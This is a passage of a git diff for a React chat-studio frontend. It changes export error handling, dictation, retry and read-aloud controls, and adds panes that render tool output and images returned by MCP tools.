-                toast.error("Export failed."),
-              );
+              exportConversationCsv(activeThreadId).catch((error) => {
+                if (!isDownloadCancelled(error)) toast.error("Export failed.");
+              });
             }}
           >
             CSV
@@ -2965,9 +2988,9 @@ const ComposerToolsMenu: FC<{ side?: "top" | "bottom" }> = ({
           <DropdownMenuItem
             onSelect={() => {
               if (!activeThreadId) return;
-              exportConversationShareGPT(activeThreadId).catch(() =>
-                toast.error("Export failed."),
-              );
+              exportConversationShareGPT(activeThreadId).catch((error) => {
+                if (!isDownloadCancelled(error)) toast.error("Export failed.");
+              });
             }}
           >
             ShareGPT JSONL
@@ -2975,7 +2998,8 @@ const ComposerToolsMenu: FC<{ side?: "top" | "bottom" }> = ({
         </DropdownMenuSubContent>
       </DropdownMenuSub>
     ),
-    canvas: (
+    // Hidden by default; enabled from Settings > Chat > Canvas.
+    canvas: showCanvasMenuItem ? (
       <DropdownMenuItem
         className={artifactsEnabled ? "text-primary font-medium" : undefined}
         onSelect={() => setArtifactsEnabled(!artifactsEnabled)}
@@ -2986,7 +3010,7 @@ const ComposerToolsMenu: FC<{ side?: "top" | "bottom" }> = ({
           <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="ml-auto" />
         ) : null}
       </DropdownMenuItem>
-    ),
+    ) : null,
     bypassPermissions: <BypassPermissionsMenuItem />,
     projects: (
       <DropdownMenuSub>
@@ -3278,7 +3302,7 @@ const PromptQueueStack: FC<{ queueThreadIds: string[] }> = ({
                         cancelEditing();
                       }
                     }}
-                    className="max-h-20 min-h-8 min-w-0 resize-none rounded-md border border-border/45 bg-transparent px-2 py-1.5 text-sm leading-5 text-foreground outline-none transition-colors focus-visible:border-ring focus-visible:ring-2 focus-visible:ring-ring/35"
+                    className="max-h-20 min-h-8 min-w-0 resize-none rounded-md border border-border/45 bg-transparent px-2 py-1.5 text-sm leading-5 text-foreground outline-none transition-colors focus-visible:border-ring"
                     aria-label={`Edit queued prompt ${visiblePosition}`}
                   />
                   <Button
@@ -3366,32 +3390,36 @@ const ComposerRightControls: FC<{
     findPromptQueueEntry(s, queueThreadIds),
   );
   const isQueueRunning = Boolean(queueEntry);
+  const aui = useAui();
+  // Keep the mic clickable: if the engine can't run here, explain and point to
+  // the local model instead of disabling the button.
+  const startDictation = () => {
+    if (!isStudioDictationAvailable()) {
+      notifyStudioDictationUnavailable();
+      return;
+    }
+    try {
+      aui.composer().startDictation();
+    } catch {
+      notifyStudioDictationUnavailable();
+    }
+  };
   return (
     <div className="aui-composer-action-wrapper flex shrink-0 items-center gap-1.5">
       <ReasoningToggle side={menuSide} />
+      {/* Starts dictation; the recording bar then covers the input row and owns
+          the stop and discard actions. */}
       <ComposerPrimitive.If dictation={false}>
-        <ComposerPrimitive.Dictate asChild={true}>
-          <TooltipIconButton
-            tooltip="Dictate"
-            aria-label="Dictate"
-            variant="ghost"
-            className="size-8 rounded-full text-foreground"
-          >
-            <MicIcon className="size-5" />
-          </TooltipIconButton>
-        </ComposerPrimitive.Dictate>
-      </ComposerPrimitive.If>
-      <ComposerPrimitive.If dictation={true}>
-        <ComposerPrimitive.StopDictation asChild={true}>
-          <TooltipIconButton
-            tooltip="Stop dictation"
-            aria-label="Stop dictation"
-            variant="ghost"
-            className="size-8 rounded-full text-destructive"
-          >
-            <SquareIcon className="size-3 animate-pulse fill-current" />
-          </TooltipIconButton>
-        </ComposerPrimitive.StopDictation>
+        <TooltipIconButton
+          tooltip="Dictate"
+          aria-label="Dictate"
+          type="button"
+          variant="ghost"
+          className="size-8 rounded-full text-foreground"
+          onClick={startDictation}
+        >
+          <MicIcon className="size-5" />
+        </TooltipIconButton>
       </ComposerPrimitive.If>
       <AuiIf condition={({ thread }) => !thread.isRunning && !isQueueRunning}>
         <ComposerPrimitive.Send asChild={true}>
@@ -3472,8 +3500,18 @@ const ComposerRightControls: FC<{
 const MessageError: FC = () => {
   return (
     <MessagePrimitive.Error>
-      <ErrorPrimitive.Root className="aui-message-error-root mt-2 rounded-md bg-destructive/10 p-3 text-destructive text-sm dark:bg-destructive/5 dark:text-red-200">
-        <ErrorPrimitive.Message className="aui-message-error-message line-clamp-2" />
+      <ErrorPrimitive.Root className="aui-message-error-root mt-2 flex flex-wrap items-center gap-x-3 gap-y-2 rounded-md bg-destructive/10 p-3 text-destructive text-sm dark:bg-destructive/5 dark:text-red-200">
+        <ErrorPrimitive.Message className="aui-message-error-message line-clamp-2 min-w-0 flex-1" />
+        {/* Recovery path for interrupted/failed turns: regenerate in place. */}
+        <ActionBarPrimitive.Reload asChild={true}>
+          <button
+            type="button"
+            className="aui-message-error-retry inline-flex shrink-0 items-center gap-1.5 rounded-md border border-destructive/40 px-2.5 py-1 text-xs font-medium transition-colors hover:bg-destructive/15"
+          >
+            <RefreshCwIcon strokeWidth={1.75} className="size-3.5" />
+            Retry
+          </button>
+        </ActionBarPrimitive.Reload>
       </ErrorPrimitive.Root>
     </MessagePrimitive.Error>
   );
@@ -3539,14 +3577,14 @@ const DiffusionCanvas: FC = () => {
     canvas.total > 0 ? `step ${canvas.step + 1}/${canvas.total}` : "denoising";
   return (
     <div className="aui-diffusion-canvas my-1.5 overflow-hidden rounded-lg border border-primary/20 bg-primary/[0.03]">
-      <div className="flex items-center gap-2 border-b border-primary/10 px-3 py-1.5 text-[11px] font-medium text-primary/80">
+      <div className="flex items-center gap-2 border-b border-primary/10 px-3 py-1.5 text-ui-11 font-medium text-primary/80">
         <span className="inline-block size-1.5 animate-pulse rounded-full bg-primary" />
         <span>Denoising</span>
         <span className="opacity-60">
           block {canvas.block + 1} - {stepLabel}
         </span>
       </div>
-      <pre className="max-h-[60vh] overflow-auto whitespace-pre-wrap px-3 py-2 font-mono text-[12.5px] leading-relaxed text-foreground/90">
+      <pre className="max-h-[60vh] overflow-auto whitespace-pre-wrap px-3 py-2 font-mono text-ui-12p5 leading-relaxed text-foreground/90">
         {canvas.text}
       </pre>
     </div>
@@ -3620,7 +3658,7 @@ const AssistantMessage: FC = () => {
 
   return (
     <MessagePrimitive.Root
-      className="aui-assistant-message-root relative mx-auto min-w-0 w-full max-w-(--thread-content-max-width) pt-0.5 pb-4 text-[15.5px] [font-weight:410] tracking-[0.01em] dark:tracking-[0.02em]"
+      className="group/assistant-message aui-assistant-message-root relative mx-auto min-w-0 w-full max-w-(--thread-content-max-width) pt-0.5 pb-4 text-ui-15p5 [font-weight:410] tracking-[0.01em] dark:tracking-[0.02em]"
       data-role="assistant"
     >
       <div className="aui-assistant-message-content wrap-break-word min-w-0 text-[#0d0d0d] dark:text-foreground leading-relaxed">
@@ -3629,7 +3667,7 @@ const AssistantMessage: FC = () => {
             <textarea
               ref={textareaRef}
               defaultValue={extractTaggedText(messageContent)}
-              className="w-full p-3 rounded-xl bg-muted border border-border text-foreground focus:ring-2 focus:ring-primary outline-none overflow-y-auto resize-none font-mono text-sm max-h-[70vh]"
+              className="w-full p-3 rounded-xl bg-muted border border-border text-foreground focus:ring-1 focus:ring-ring outline-none overflow-y-auto resize-none font-mono text-sm max-h-[70vh]"
               autoFocus
               onInput={adjustHeight}
               onKeyDown={(e) => {
@@ -3649,6 +3687,9 @@ const AssistantMessage: FC = () => {
           </div>
         ) : (
           <>
+            <div className="pointer-events-none relative h-0 min-w-0">
+              <MessageResponseModelBadge className="absolute -top-6 left-0 max-w-[min(22rem,100%)]" />
+            </div>
             <GeneratingIndicator />
             <CancelledIndicator />
             <DiffusionCanvas />
@@ -3730,7 +3771,7 @@ const ForkCountBadge: FC = () => {
   if (count <= 0) return null;
   return (
     <span
-      className="mx-1 inline-flex items-center gap-1 rounded-sm bg-primary/10 px-1.5 py-0.5 text-[10px] font-medium text-primary"
+      className="mx-1 inline-flex items-center gap-1 rounded-sm bg-primary/10 px-1.5 py-0.5 text-ui-10 font-medium text-primary"
       title={`${count} fork${count === 1 ? "" : "s"} from this message`}
     >
       <GitBranchIcon strokeWidth={1.75} className="size-3" />
@@ -3808,8 +3849,33 @@ const DeleteMessageButton: FC = () => {
   const isRunning = useAuiState(({ thread }) => thread.isRunning);
 
   const handleDelete = async () => {
-    const remoteId = aui.threadListItem().getState().remoteId;
     const thread = aui.thread();
+    // Deleting a message, and for a user prompt its cascaded assistant replies,
+    // unmounts their only Stop reading control. Stop read-aloud first when the
+    // spoken message is among those removed. Read speech state at click time and
+    // guard the call, which throws if playback already ended.
+    const speakingId = thread.getState().speech?.messageId;
+    if (speakingId) {
+      const { messages } = thread.export();
+      const target = messages.find(({ message }) => message.id === messageId);
+      const removed = new Set<string>([messageId]);
+      if (target?.message.role === "user") {
+        for (const { parentId, message } of messages) {
+          if (parentId === messageId && message.role === "assistant") {
+            removed.add(message.id);
+          }
+        }
+      }
+      if (removed.has(speakingId)) {
+        try {
+          thread.stopSpeaking();
+        } catch {
+          // Playback ended between reading the state and stopping it.
+        }
+      }
+    }
+
+    const remoteId = aui.threadListItem().getState().remoteId;
     try {
       await deleteThreadMessage({
         thread: {
@@ -3891,60 +3957,122 @@ const EditAssistantMessageButton: FC = () => {
   );
 };
 
+async function exportMessageMarkdown(content: string): Promise<void> {
+  try {
+    await downloadFile(
+      content,
+      `message-${Date.now()}.md`,
+      "text/markdown",
+    );
+  } catch (error) {
+    if (!isDownloadCancelled(error)) {
+      toast.error("Could not save Markdown export.", {
+        description: error instanceof Error ? error.message : String(error),
+      });
+    }
+  }
+}
 const AssistantActionBar: FC = () => {
   const { forkMessage, forkDisabled } = useForkMessageAction();
+  const [detailsOpen, setDetailsOpen] = useState(false);
+  const ttsEnabled = useVoiceSettingsStore((s) => s.ttsEnabled);
+  // hideWhenRunning is thread-level, so a new run would hide this bar and its
+  // only Stop reading control while read-aloud keeps playing; keep it shown.
+  const speaking = useAuiState(({ message }) => message.speech != null);
 
   return (
-    <ActionBarPrimitive.Root
-      hideWhenRunning={true}
-      className="aui-assistant-action-bar-root col-start-3 row-start-2 flex items-center gap-1 text-chat-icon-fg [&_button:not([data-slot=message-timing-trigger])]:size-8 [&_button]:!rounded-full [&_button:hover]:bg-chat-icon-bg-hover [&_button:hover]:text-chat-icon-fg-hover"
-    >
-      <CopyButton />
-      <EditAssistantMessageButton />
-      <ActionBarPrimitive.Reload asChild={true}>
-        <TooltipIconButton tooltip="Refresh">
-          <RefreshCwIcon strokeWidth={1.75} className="size-icon" />
-        </TooltipIconButton>
-      </ActionBarPrimitive.Reload>
-      <ForkCountBadge />
-      <DeleteMessageButton />
-      <ActionBarMorePrimitive.Root>
-        <ActionBarMorePrimitive.Trigger asChild={true}>
-          <TooltipIconButton
-            tooltip="More"
-            className="data-[state=open]:bg-accent"
-          >
-            <MoreHorizontalIcon strokeWidth={1.75} className="size-icon" />
+    <>
+      <ActionBarPrimitive.Root
+        hideWhenRunning={!speaking}
+        className="aui-assistant-action-bar-root col-start-3 row-start-2 flex items-center gap-1 text-chat-icon-fg [&_button:not([data-slot=message-timing-trigger])]:size-8 [&_button]:!rounded-full [&_button:hover]:bg-chat-icon-bg-hover [&_button:hover]:text-chat-icon-fg-hover"
+      >
+        <CopyButton />
+        <EditAssistantMessageButton />
+        <ActionBarPrimitive.Reload asChild={true}>
+          <TooltipIconButton tooltip="Refresh">
+            <RefreshCwIcon strokeWidth={1.75} className="size-icon" />
           </TooltipIconButton>
-        </ActionBarMorePrimitive.Trigger>
-        <ActionBarMorePrimitive.Content
-          side="bottom"
-          align="start"
-          onCloseAutoFocus={(e) => e.preventDefault()}
-          className="aui-action-bar-more-content z-50 min-w-32 overflow-hidden rounded-[21px] bg-popover px-[9px] py-2 text-popover-foreground shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] dark:shadow-none"
-        >
-          <ActionBarMorePrimitive.Item
-            disabled={forkDisabled}
-            onSelect={() => void forkMessage()}
-            className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50"
+        </ActionBarPrimitive.Reload>
+        <ForkCountBadge />
+        <DeleteMessageButton />
+        {ttsEnabled && (
+          <MessagePrimitive.If speaking={false}>
+            <ActionBarPrimitive.Speak asChild={true}>
+              <TooltipIconButton tooltip="Read aloud" aria-label="Read aloud">
+                <Volume2Icon strokeWidth={1.75} className="size-icon" />
+              </TooltipIconButton>
+            </ActionBarPrimitive.Speak>
+          </MessagePrimitive.If>
+        )}
+        {/* Not gated on ttsEnabled: turning the setting off while a message
+            is being read aloud must not remove the only stop control. */}
+        <MessagePrimitive.If speaking={true}>
+          <ActionBarPrimitive.StopSpeaking asChild={true}>
+            <TooltipIconButton
+              tooltip="Stop reading"
+              aria-label="Stop reading"
+              className="text-destructive"
+            >
+              <VolumeXIcon strokeWidth={1.75} className="size-icon" />
+            </TooltipIconButton>
+          </ActionBarPrimitive.StopSpeaking>
+        </MessagePrimitive.If>
+        <ActionBarMorePrimitive.Root>
+          <ActionBarMorePrimitive.Trigger asChild={true}>
+            <TooltipIconButton
+              tooltip="More"
+              className="data-[state=open]:bg-accent"
+            >
+              <MoreHorizontalIcon strokeWidth={1.75} className="size-icon" />
+            </TooltipIconButton>
+          </ActionBarMorePrimitive.Trigger>
+          <ActionBarMorePrimitive.Content
+            side="bottom"
+            align="start"
+            onCloseAutoFocus={(e) => e.preventDefault()}
+            className="aui-action-bar-more-content z-50 min-w-32 overflow-hidden rounded-[21px] bg-popover px-[9px] py-2 text-popover-foreground shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] dark:shadow-none"
           >
-            <GitBranchIcon strokeWidth={1.75} className="size-icon" />
-            Fork in new chat
-          </ActionBarMorePrimitive.Item>
-          <ActionBarPrimitive.ExportMarkdown asChild={true}>
-            <ActionBarMorePrimitive.Item className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground">
+            <ActionBarMorePrimitive.Item
+              disabled={forkDisabled}
+              onSelect={() => void forkMessage()}
+              className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50"
+            >
+              <GitBranchIcon strokeWidth={1.75} className="size-icon" />
+              Fork in new chat
+            </ActionBarMorePrimitive.Item>
+            <ActionBarPrimitive.ExportMarkdown
+              asChild={true}
+              onExport={exportMessageMarkdown}
+            >
+              <ActionBarMorePrimitive.Item className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground">
+                <HugeiconsIcon
+                  icon={Download01Icon}
+                  strokeWidth={1.75}
+                  className="size-icon"
+                />
+                Export as markdown
+              </ActionBarMorePrimitive.Item>
+            </ActionBarPrimitive.ExportMarkdown>
+            <ActionBarMorePrimitive.Item
+              onSelect={() => setDetailsOpen(true)}
+              className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground"
+            >
               <HugeiconsIcon
-                icon={Download01Icon}
+                icon={HelpCircleIcon}
                 strokeWidth={1.75}
                 className="size-icon"
               />
-              Export as Markdown
+              See response details
             </ActionBarMorePrimitive.Item>
-          </ActionBarPrimitive.ExportMarkdown>
-        </ActionBarMorePrimitive.Content>
-      </ActionBarMorePrimitive.Root>
-      <MessageTiming side="top" className="h-8 px-2" />
-    </ActionBarPrimitive.Root>
+          </ActionBarMorePrimitive.Content>
+        </ActionBarMorePrimitive.Root>
+        <MessageTiming side="top" className="h-8 px-2" />
+      </ActionBarPrimitive.Root>
+      <MessageResponseDetailsSheet
+        open={detailsOpen}
+        onOpenChange={setDetailsOpen}
+      />
+    </>
   );
 };
 
@@ -3968,14 +4096,14 @@ const UserMessageAudio: FC = () => {
 const UserMessage: FC = () => {
   return (
     <MessagePrimitive.Root
-      className="aui-user-message-root fade-in slide-in-from-bottom-1 mx-auto flex w-full max-w-(--thread-content-max-width) animate-in flex-col items-end gap-y-2 pt-6 pb-4 text-[15.5px] [font-weight:410] tracking-[0.01em] dark:tracking-[0.02em] duration-150"
+      className="aui-user-message-root fade-in slide-in-from-bottom-1 mx-auto flex w-full max-w-(--thread-content-max-width) animate-in flex-col items-end gap-y-2 pt-6 pb-4 text-ui-15p5 [font-weight:410] tracking-[0.01em] dark:tracking-[0.02em] duration-150"
       data-role="user"
     >
       <UserMessageAttachments />
       <UserMessageAudio />
 
       <div className="aui-user-message-content-wrapper flex max-w-[80%] min-w-0 flex-col items-end">
-        <div className="aui-user-message-content wrap-break-word w-fit rounded-[24px] bg-[#f5f5f5] px-4 py-2.5 text-[#0d0d0d] dark:text-foreground dark:bg-card">
+        <div className="aui-user-message-content wrap-break-word w-fit max-w-full rounded-[24px] bg-[#f5f5f5] px-4 py-2.5 text-[#0d0d0d] dark:text-foreground dark:bg-card">
           <MessagePrimitive.Parts />
         </div>
         <div className="mt-1 -mr-[var(--icon-btn-inset)] flex min-h-8 items-center">
@@ -4079,7 +4207,7 @@ const BranchPicker: FC<BranchPickerPrimitive.Root.Props> = ({
     <BranchPickerPrimitive.Root
       hideWhenSingleBranch={true}
       className={cn(
-        "aui-branch-picker-root inline-flex items-center text-chat-icon-fg text-[13px]",
+        "aui-branch-picker-root inline-flex items-center text-chat-icon-fg text-ui-13",
         className,
       )}
       {...rest}
@@ -4093,7 +4221,7 @@ const BranchPicker: FC<BranchPickerPrimitive.Root.Props> = ({
           <ChevronLeftIcon strokeWidth={1.25} className="size-[36px]" />
         </button>
       </BranchPickerPrimitive.Previous>
-      <span className="aui-branch-picker-state font-mono text-[13px] tabular-nums">
+      <span className="aui-branch-picker-state font-mono text-ui-13 tabular-nums">
         <BranchPickerPrimitive.Number />/<BranchPickerPrimitive.Count />
       </span>
       <BranchPickerPrimitive.Next asChild={true}>
diff --git a/studio/frontend/src/components/assistant-ui/tool-fallback.tsx b/studio/frontend/src/components/assistant-ui/tool-fallback.tsx
index 20a22c3a4a..d0bc12706e 100644
--- a/studio/frontend/src/components/assistant-ui/tool-fallback.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-fallback.tsx
@@ -260,6 +260,30 @@ function ToolFallbackArgs({
   );
 }
 
+interface McpImageResult {
+  text: string;
+  images: { data: string; mimeType: string }[];
+}
+
+function isMcpImageResult(val: unknown): val is McpImageResult {
+  if (typeof val !== "object" || val === null) {
+    return false;
+  }
+  const v = val as { text?: unknown; images?: unknown };
+  return (
+    typeof v.text === "string" &&
+    Array.isArray(v.images) &&
+    v.images.length > 0 &&
+    v.images.every(
+      (img: unknown) =>
+        typeof img === "object" &&
+        img !== null &&
+        typeof (img as { data?: unknown }).data === "string" &&
+        typeof (img as { mimeType?: unknown }).mimeType === "string",
+    )
+  );
+}
+
 function ToolFallbackResult({
   result,
   className,
@@ -271,6 +295,8 @@ function ToolFallbackResult({
     return null;
   }
 
+  const imageResult = isMcpImageResult(result) ? result : null;
+
   return (
     <div
       data-slot="tool-fallback-result"
@@ -278,9 +304,30 @@ function ToolFallbackResult({
       {...props}
     >
       <p className="aui-tool-fallback-result-header font-semibold">Result:</p>
-      <pre className="aui-tool-fallback-result-content whitespace-pre-wrap">
-        {typeof result === "string" ? result : JSON.stringify(result, null, 2)}
-      </pre>
+      {imageResult ? (
+        <>
+          {imageResult.text && (
+            <pre className="aui-tool-fallback-result-content whitespace-pre-wrap">
+              {imageResult.text}
+            </pre>
+          )}
+          <div className="mt-2 flex flex-col gap-2">
+            {imageResult.images.map((img, i) => (
+              <img
+                key={i}
+                src={`data:${img.mimeType};base64,${img.data}`}
+                alt={`Tool result ${i + 1}`}
+                loading="lazy"
+                className="max-w-full rounded border border-border"
+              />
+            ))}
+          </div>
+        </>
+      ) : (
+        <pre className="aui-tool-fallback-result-content whitespace-pre-wrap">
+          {typeof result === "string" ? result : JSON.stringify(result, null, 2)}
+        </pre>
+      )}
     </div>
   );
 }
diff --git a/studio/frontend/src/components/assistant-ui/tool-group.tsx b/studio/frontend/src/components/assistant-ui/tool-group.tsx
index 74b5e02381..469c449a70 100644
--- a/studio/frontend/src/components/assistant-ui/tool-group.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-group.tsx
@@ -10,6 +10,7 @@ import {
 } from "react";
 import { useAuiState } from "@assistant-ui/react";
 import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
+import { toolOutputKey, useToolPaneScope } from "@/features/chat";
 import { ChevronDownIcon } from "lucide-react";
 import { Wrench01Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
@@ -235,13 +236,29 @@ const ToolGroupImpl: FC<
   const messageRunning = useAuiState(
     ({ message }) => message.status?.type === "running",
   );
-  // Keep the group open once a confirmation forced it open, so answering an
-  // allow/deny doesn't snap it shut between sequential tool calls. It reverts
-  // to the default collapsed state once the turn finishes.
+  // Force the group open when any call is receiving tool_output events.
+  const toolLiveOutput = useChatRuntimeStore((s) => s.toolLiveOutput);
+  const paneScope = useToolPaneScope();
+  const hasLiveOutput = useAuiState(({ message }) =>
+    message.parts
+      .slice(startIndex, endIndex + 1)
+      .some(
+        (part) =>
+          part.type === "tool-call" &&
+          Object.prototype.hasOwnProperty.call(
+            toolLiveOutput,
+            toolOutputKey(paneScope, part.toolCallId),
+          ),
+      ),
+  );
+  // Keep the group open once a confirmation or live output forced it (so an
+  // allow/deny doesn't snap it shut between calls); reverts once the turn ends.
   const forcedOpenRef = useRef(false);
-  if (hasPendingConfirmation) forcedOpenRef.current = true;
+  if (hasPendingConfirmation || hasLiveOutput) forcedOpenRef.current = true;
   const forceOpen =
-    hasPendingConfirmation || (forcedOpenRef.current && messageRunning);
+    hasPendingConfirmation ||
+    (hasLiveOutput && messageRunning) ||
+    (forcedOpenRef.current && messageRunning);
 
   // Render single tool calls and canvases directly so cards never hide in a
   // collapsed group.
diff --git a/studio/frontend/src/components/assistant-ui/tool-live-output.tsx b/studio/frontend/src/components/assistant-ui/tool-live-output.tsx
new file mode 100644
index 0000000000..3434783f0a
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/tool-live-output.tsx
@@ -0,0 +1,63 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"use client";
+
+import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
+import { toolOutputKey, useToolPaneScope } from "@/features/chat";
+import { useEffect, useMemo, useRef } from "react";
+import { tailText } from "./tool-result-output";
+
+/**
+ * Live-scrolling stdout/stderr pane for a running server-side tool, backed by
+ * the transient `toolLiveOutput` map fed by `tool_output` SSE events. Renders
+ * nothing until the first chunk, then follows the tail. Mounted only while
+ * running; the finished card shows the persisted result instead.
+ */
+export function ToolLiveOutput({ toolCallId }: { toolCallId: string }) {
+  const paneScope = useToolPaneScope();
+  const output = useChatRuntimeStore(
+    (s) => s.toolLiveOutput[toolOutputKey(paneScope, toolCallId)] ?? "",
+  );
+  const scrollRef = useRef<HTMLPreElement>(null);
+  // Pinned to the bottom until the user scrolls up (handler below), so
+  // streaming chunks no longer yank them down.
+  const pinnedToBottom = useRef(true);
+
+  // The stream can reach hundreds of KB; render only the tail while live.
+  const visible = useMemo(() => tailText(output).visible, [output]);
+
+  const handleScroll = () => {
+    const el = scrollRef.current;
+    if (!el) {
+      return;
+    }
+    // Within 40px of the bottom counts as pinned (tolerates small nudges).
+    pinnedToBottom.current =
+      el.scrollHeight - el.scrollTop - el.clientHeight < 40;
+  };
+
+  useEffect(() => {
+    const el = scrollRef.current;
+    if (el && pinnedToBottom.current) {
+      el.scrollTop = el.scrollHeight;
+    }
+  }, [visible]);
+
+  if (!output) {
+    return null;
+  }
+
+  return (
+    <div className="aui-tool-live-output mt-2 border-t border-dashed pt-2">
+      <span className="text-xs font-medium text-muted-foreground">output</span>
+      <pre
+        ref={scrollRef}
+        onScroll={handleScroll}
+        className="mt-1 max-h-60 overflow-auto whitespace-pre-wrap break-words font-mono text-xs"
+      >
+        {visible}
+      </pre>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/components/assistant-ui/tool-result-output.tsx b/studio/frontend/src/components/assistant-ui/tool-result-output.tsx
new file mode 100644
index 0000000000..45f72ed96c
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/tool-result-output.tsx
@@ -0,0 +1,63 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"use client";
+
+import { useMemo, useState } from "react";
+
+/** Tail-line cap so a huge output never mounts a megabyte <pre> block. */
+const TAIL_LINES = 2000;
+/** Char backstop for pathological single-line outputs. */
+const TAIL_CHARS = 200_000;
+
+interface Tail {
+  visible: string;
+  hiddenLines: number;
+  hiddenChars: number;
+}
+
+export function tailText(text: string): Tail {
+  let visible = text;
+  let hiddenLines = 0;
+  let hiddenChars = 0;
+  const lines = visible.split("\n");
+  if (lines.length > TAIL_LINES) {
+    hiddenLines = lines.length - TAIL_LINES;
+    visible = lines.slice(hiddenLines).join("\n");
+  }
+  if (visible.length > TAIL_CHARS) {
+    hiddenChars = visible.length - TAIL_CHARS;
+    visible = visible.slice(hiddenChars);
+  }
+  return { visible, hiddenLines, hiddenChars };
+}
+
+/**
+ * Finished-tool output pane: renders the tail (~2000 lines) with a "Show all"
+ * toggle so a large output stays scrollable without janking the DOM. Copy
+ * buttons still copy the FULL text (owned by the caller), not the tail.
+ */
+export function ToolResultOutput({ text }: { text: string }) {
+  const [showAll, setShowAll] = useState(false);
+  const tail = useMemo(() => tailText(text), [text]);
+  const truncated = !showAll && (tail.hiddenLines > 0 || tail.hiddenChars > 0);
+
+  return (
+    <>
+      {truncated && (
+        <button
+          type="button"
+          onClick={() => setShowAll(true)}
+          className="mt-1 rounded px-1.5 py-0.5 text-xs text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
+        >
+          {tail.hiddenLines > 0
+            ? `Show all (${tail.hiddenLines.toLocaleString()} earlier lines hidden)`
+            : `Show all (${tail.hiddenChars.toLocaleString()} earlier chars hidden)`}
+        </button>
+      )}
+      <pre className="mt-1 max-h-60 overflow-auto whitespace-pre-wrap break-words font-mono text-xs">
+        {showAll ? text : tail.visible}
+      </pre>
+    </>
+  );
+}
diff --git a/studio/frontend/src/components/assistant-ui/tool-ui-image-generation.tsx b/studio/frontend/src/components/assistant-ui/tool-ui-image-generation.tsx
index edce6200d5..5f11cb85a8 100644
--- a/studio/frontend/src/components/assistant-ui/tool-ui-image-generation.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-ui-image-generation.tsx
@@ -326,7 +326,7 @@ const ImageGenerationToolUIImpl: ToolCallMessagePartComponent = ({
               <button
                 type="button"
                 className={cn(
-                  "block cursor-zoom-in rounded-2xl focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-ring",
+                  "block cursor-zoom-in rounded-2xl focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-inset focus-visible:ring-ring",
                   imageDimensions ? "size-full" : "max-w-full",
                 )}
                 onClick={showPreview}
@@ -382,7 +382,7 @@ const ImageGenerationToolUIImpl: ToolCallMessagePartComponent = ({
                 {promptCanExpand ? (
                   <button
                     type="button"
-                    className="mt-2 inline-flex text-xs font-medium text-foreground/80 underline-offset-4 hover:text-foreground hover:underline focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-background"
+                    className="mt-2 inline-flex text-xs font-medium text-foreground/80 underline-offset-4 hover:text-foreground hover:underline focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                     onClick={() =>
                       setExpandedCaptionPrompt((value) =>
                         value === captionPrompt ? null : captionPrompt,
diff --git a/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx b/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx
index 1afffaed7d..1e816132b8 100644
--- a/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx
@@ -6,8 +6,9 @@
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import { getAuthToken } from "@/features/auth/session";
 import type { ToolCallMessagePartComponent } from "@assistant-ui/react";
+import { useToolArgsStatus } from "@assistant-ui/react";
 import { code as codePlugin } from "@streamdown/code";
-import { CodeIcon, CopyIcon } from "lucide-react";
+import { CodeIcon, CopyIcon, DownloadIcon } from "lucide-react";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { Spinner } from "@/components/ui/spinner";
@@ -18,6 +19,14 @@ import {
   ToolFallbackRoot,
   ToolFallbackTrigger,
 } from "./tool-fallback";
+import { ToolLiveOutput } from "./tool-live-output";
+import { ToolResultOutput } from "./tool-result-output";
+import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
+import {
+  preferFullToolOutput,
+  toolOutputKey,
+  useToolPaneScope,
+} from "@/features/chat";
 
 interface StructuredResult {
   text: string;
@@ -74,22 +83,98 @@ function CopyBtn({ text }: { text: string }) {
   );
 }
 
-/** Syntax-highlighted code via Streamdown + shiki; inherits parent container. */
-function HighlightedCode({ code: source, language }: { code: string; language: string }) {
-  const markdown = useMemo(
-    () => `\`\`\`${language}\n${truncate(source)}\n\`\`\``,
-    [source, language],
-  );
